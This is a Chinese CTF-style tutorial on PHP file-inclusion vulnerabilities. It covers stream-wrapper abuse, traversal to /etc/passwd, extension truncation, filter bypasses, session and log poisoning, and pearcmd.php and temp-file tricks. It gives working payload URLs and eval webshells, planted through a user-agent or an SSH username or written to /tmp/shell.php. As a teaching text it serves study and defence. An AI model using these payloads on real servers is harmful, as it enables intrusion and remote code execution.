文件包含总结
文件包含常见函数
- include
- include_once
- require
- require_once
include :如果引入文件失败(如文件不存在),会产生警告级错误(E_WARNING),但脚本会继续执行。
require :如果引入文件失败,会产生致命错误(E_COMPILE_ERROR) ,脚本会立即终止执行。
include_once :引入失败时产生警告级错误 ,脚本继续执行。如果文件已被引入过,则不会重复引入,避免代码重复执行。
require_once :引入失败时产生致命错误 ,脚本立即终止。如果文件已被引入过,则不会重复引入。
当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
文件包含漏洞的原理
包含函数没有做到严格的或用户可以绕过过滤通过包含函数执行一些危险动作。如:通过包含函数包含写有危险代码的文件,从而执行危险操作。通过包含函数查看敏感文件,例如,/etc/passwd。
接下来我会讲到php伪协议,以及日志文件包含等模块。在我遇到的大多数文件包含总结中,他们喜欢讲这几个模块并列,但在我看来,php伪协议更像是一个工具,而其他的则是题型。所以下面我会以我独特的理解来总结。如有错误,感谢及时指出。
PHP伪协议
什么是PHP伪协议
在 PHP 中,"伪协议"是一种特殊的语法,用于访问不同的资源或执行特定的操作。这些伪协议以 php://
开头,后面跟着特定的指示符或参数,以实现不同的功能。这些伪协议提供了一种方便的方式来处理各种输入输出操作,而不必依赖于实际的文件或网络资源。
换句话说就是:将特殊操作的命令伪装成协议从而可以被include等包含函数执行,进而达到读取文件源码等各种特定操作
php.ini参数设置
在php.ini里有两个重要的参数allow_url_fopen
、allow_url_include
。
allow_url_fopen
:默认值是ON。允许url
里的封装协议访问文件;
allow_url_include
:默认值是OFF。不允许包含url
里的封装协议包含文件;
有哪些伪协议
php
file:// --- 访问本地文件系统
http:// --- 访问 HTTP(s) 网址
ftp:// --- 访问 FTP(s) URLs
php:// --- 访问各个输入/输出流(I/O streams)
zlib:// --- 压缩流
data:// --- 数据(RFC 2397)
glob:// --- 查找匹配的文件路径模式
phar:// --- PHP 归档
ssh2:// --- Secure Shell 2
rar:// --- RAR
ogg:// --- 音频流
expect:// --- 处理交互式的流
file://
不受allow_url_fopen
,allow_url_include
影响
file://
是一种用于访问本地文件系统的伪协议,主要用于在文件操作函数(如 include
、require
、fopen
等)中指定本地文件的路径,实现对服务器本地文件的读取或操作。
语法:
php
file://[文件的绝对路径或相对路径]
如:
php
?file=file:///var/www/html/test.txt
访问本地test.txt文件
http://&https://
allow_url_fopen
和allow_url_include
都需要开启。
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
php
Copyhttp://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://input
需要allow_url_include = On
以及enctype!="multipart/form-data"
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
如:
php
url:https://xxx/xxx/index.php?file=php://input
post:<?php phpinfo();?>
此时就会执行命令
php://filter
一个中间件,在读入或写入数据的时候对数据进行处理后输出的过程。可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,让其不执行,展现在页面上。从而导致任意文件读取。
如:
php
?file=php://filter/read=convert.base64-encode/resource=flag.php
以base64的编码格式读取flag.php
文件
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链 |
可用过滤器:
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper |
等同于strtoupper() ,转大写字母 |
string.tolower |
等同于strtolower() ,转小写字母 |
string.strip_tags |
等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode |
quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate |
在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* |
libmcrypt 对称加密算法 |
mdecrypt.* |
libmcrypt 对称解密算法 |
zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件
执行。从而实现任意代码执行。相同类型的还有zlib://和bzip2://
。
可以配合文件上传获取webshell
,将shell.txt压缩成zip,再将后缀名改为jpg上传,通过zip伪协议访问压缩包里的文件,来连接木马
php
?url=zip://shell.jpg
注意:此处只能传入绝对路径,要用#
分隔压缩包和压缩包里的内容,并且#要用url编码%23。只要是zip的压缩包即可,后缀名可以任意更改。
data://
allow_url_fopen
和allow_url_include
都需要开启。
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件
执行。
php
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
先对PD9waHAgcGhwaW5mbygpOz8%2b进行base64解码,再php运行
phar://
与zip://类似,同样可以访问zip格式压缩包内容
php
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
无限制本地文件包含漏洞
示例代码:
<?php
$file=$_GET['file'];
include ($file);
?>
可以看出代码既没有限制包含文件的类型也没有过滤一些字符;这时可以无需绕过随便使用目录遍历以及伪协议等。
目录遍历:
通过目录遍历可以获取系统中/etc/passwd
文件的内容,使用示例如下:
php
http://www.abc.com/flie.php?file=../../../../etc/passwd
常见敏感文件
Windows:
目录 | 内容 |
---|---|
\boot.ini | 系统版本信息 |
\xxx\php.ini | PHP配置信息 |
\xxx\my.ini | MYSQL配置信息 |
\xxx\httpd.conf |
Apache配置信息 |
Linux:
目录 | 内容 |
---|---|
/etc/passwd |
Linux系统账号信息 |
/etc/httpd/conf/httpd.conf |
Apache配置信息 |
/etc/my.conf |
MySQL配置信息 |
/usr/etc/php.ini |
PHP配置信息 |
简单包含文件
假设,在当前目录下存在一个phpinfo.txt文件,内容为:
php
<?php phpinfo();?>
当我们在url输入:
php
http://...../index.php?file=phpinfo.txt
便可以轻易执行危险php命令
伪协议读取文件源代码
假设当前目录下存在flag.php
文件。我们使用如下代码便可轻易获得flag.php文件
的源代码
php
url?file=php://filter/read=convert.base64-encode/resource=flag.php
有限制本地文件包含漏洞
对文件后缀或部分字符进行了过滤,不能直接使用常规方式来进行解答,需要通过特定方式绕过进而解答。常见的有针对于文件后缀名的,还有针对伪协议的,下面从这两个大方向来进行简单总结。
针对文件名后缀
示例代码:
php
<?php
$file=$_GET['file'];
include ($file.".html");
?>
可以看出限制了文件后缀,指定只有html的文件可以包含。常见的过滤绕过方式有三种:%00 截断文件包含,路径长度截断包含,点好截断文件包含。
%00 截断文件包含
利用条件:
magic_quotes_gpc=off
PHP版本低于5.3.4
示例代码:
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容
路径长度截断包含
操作系统存在着最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致拓展名截断。
利用条件:
Windows下最大路径长度为256B
Linux下最大路径长度为4096B
示例代码:
php
http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
执行后发现已经成功截断了后面的拓展名
点好截断文件包含
利用条件:
点号截断包含只使用于Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断
示例代码:
php
http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
发现已经成功截断了html拓展名
针对伪协议
过滤php
示例代码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到将我们的"php"替换为了"???",但他的过滤不严格,没有针对大小写。下面我将简要列举一些可以绕过的方式。
大小写绕过
php伪协议可以使用大小写绕过,但是linux系统会区分大小写,无法识别flag.php文件。所以我们要注意在Linux系统下,如果我们需要包含一个php文件,要谨慎使用该方法
使用php://input
paylaod:
php
url/?file=pHp://input
访问该网址,使用抓包工具抓包,并将GET头修改为POST,添加php语句并发送

最终效果

data://
payload:
php
?file=data:text/plain,<?=system('tac *')?>
将后面的php命令base64加密后
php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw==
最终效果

Note: 这里的 tac *
的作用是查看当前文件夹的所有文件(不查看子目录的),在 CTF 中还是比较实用的。可以根据自己的需求进行变形,比如 tac /*
总结:
类似的绕过方法还有很多我就不再一个一个列举,还有一些特殊的方式,如:session竞争,临时文件包含,pearcmd.php的利用,日志文件包含等等。在这里我就不在赘述,接着下面我会具体讲解这几个方式。(不会太细,因为后续我可能给这些单开新的篇章来讲)
Session文件包含漏洞
这里我只大概讲一下,关于session竞争详细内容可以看我的这篇文章关于session - shhl - 博客园
利用条件:
Session的存储位置可以获取
Session的内容可控
常见获得session位置方式:
通过phpinfo的信息获取session的存储位置。通过phpinfo的信息获取session.save_path
通过猜测默认的session存储位置进行尝试。通常Linux中的Session的默认存储位置在/var/lib/php/session
目录下
攻击步骤
(1)将恶意代码写入session文件
(2)攻击者可以通过PHPinfo或者猜测到session存放的位置
(3)通过开发者模式可以获得文件名称
(4)通过本地文件包含漏洞可以解析session文件达到攻击的目的
日志文件包含
同样的想具体了解日志文件的话,可以看我在文件上传漏洞时关于日志文件的讲解
漏洞原理
服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。
如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限
典型的日志文件包含:
- 中间件日志文件包含
- ssh日志文件包含
中间件日志文件包含
利用条件:
web中间件日志文件的存储位置已知,并且具有可读权限
攻击步骤
(1)写入危险代码
假设中间件开启了访问日志记录功能,会将访问日志写入到日志文件(常见为access.log)中。
发现会在日志文件中有如下内容:
php
192.168.1.200 - - (user-agnet) [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....
日志文件记录下了我们的IP,访问时间,访问方式,访问网址,使用的协议,状态码等等(大多数情况下还有user-agent),我们假设存在user-agent。于是我们再次访问该网址并进行抓包,将user-agent内容删除,加上我们的恶意代码:
php
<?php phpinfo();?>
最终日志效果应该是:
php
192.168.1.200 - - <?php phpinfo();?> [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....
可见日志文件成功写入了我们的恶意代码。
(2)包含日志文件
要执行文件包含,必须要知道日志文件的位置。
常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log
输入测试语句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
即可显示出phpinfo的内容
ssh日志文件包含
利用条件
SSH日志路径已知,并且具有可读权限
SSH日志文件的默认路径为/var/log/auth.log
攻击步骤
(1)写入代码
SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中
将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件
(2)包含文件
测试输入语句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向网页传入POST参数:123=phpinfo
就可以出现phpinfo的内容了
pearcmd.php的利用
详细内容请看我这篇文章关于pearcmd的探索与利用 - shhl - 博客园
paercmd介绍
PEAR是是 PHP 的扩展与应用库仓库(PHP Extension and Application Repository),提供了大量可复用的 PHP 库和工具,方便开发者安装和管理第三方 PHP 资源。而 pearcmd.php 是 pear 工具的核心执行文件,是具体实现 pear 功能的脚本。当用户在命令行中使用 pear 命令(如安装、更新扩展)时,实际上是通过调用 pearcmd.php 来完成相关操作的。(PEAR的使用前提register_argc_argv必须开启)
原理简介:
由上文可知,pear是命令行模式下的一个扩展命令,其中包含了config-create这个命令(可以创建一个配置文件,内容我们可以通过特殊方式写入)。接下来攻击过程就很清晰了:(1)写入恶意代码(2)包含该文件(3)执行恶意代码。可是pear获取的是命令行模式下的变量,我们通过GET传入的是web服务器下的命令,应该怎么触发pear呢?这就不得不提到一个特性了:当GET传参时,如果query-string中不含"=",就会把变量传给命令行模式下的pear,也就是说我们可以构建如下payload:
php
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
接着包含我们所生成的文件,执行代码即可
临时文件包含
关于临时文件包含目前常见的方法有三种,之后我会出相关博客介绍,这里我先列举一种
string.strip_tags过滤器
利用条件:
php版本在7.1.20以下
利用原理:
当我们通过post传参像服务器发送一个文件时(文件内容可以自定义),服务器会生成一个临时文件,然后随着你的上传成功,删除该临时文件。所以利用方法就是,让临时文件不被删除,并且写入恶意代码并包含执行。而刚好在7.1.20以下php版本有一个漏洞:使用string.strip_tags过滤器时会造成服务器报错,临时文件无法删除。
攻击步骤:
构建如下payload:
php://filter/string.strip_tags/resource=/etc/passwd
服务器会报错,临时文件被保存。但文件名我们不知道,需要通过脚本爆破出来。
最后包含临时文件,执行恶意代码
总结:
关于文件包含的总结就先到这里,仍然还有很多东西没有提到,如:远程文件包含。后续我会慢慢补充上去。